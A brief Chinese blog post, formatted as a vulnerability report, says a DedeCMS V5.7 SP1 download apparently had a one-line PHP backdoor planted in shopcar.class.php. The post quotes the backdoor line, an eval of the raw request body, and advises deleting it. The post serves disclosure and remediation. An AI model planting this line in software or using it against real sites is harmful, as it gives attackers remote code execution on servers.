简要描述:

DedeCMS V5.7 SP1正式版

UTF-8 GBK版本疑似被植入一句话后门

前几日下载并不存在此代码

详细说明:

shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));

漏洞证明:

shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));

修复方案:

删除@eval(file_get_contents('php://input'));

posted on 2014-03-21 14:53  milantgh  阅读(1107)  评论(0编辑  收藏  举报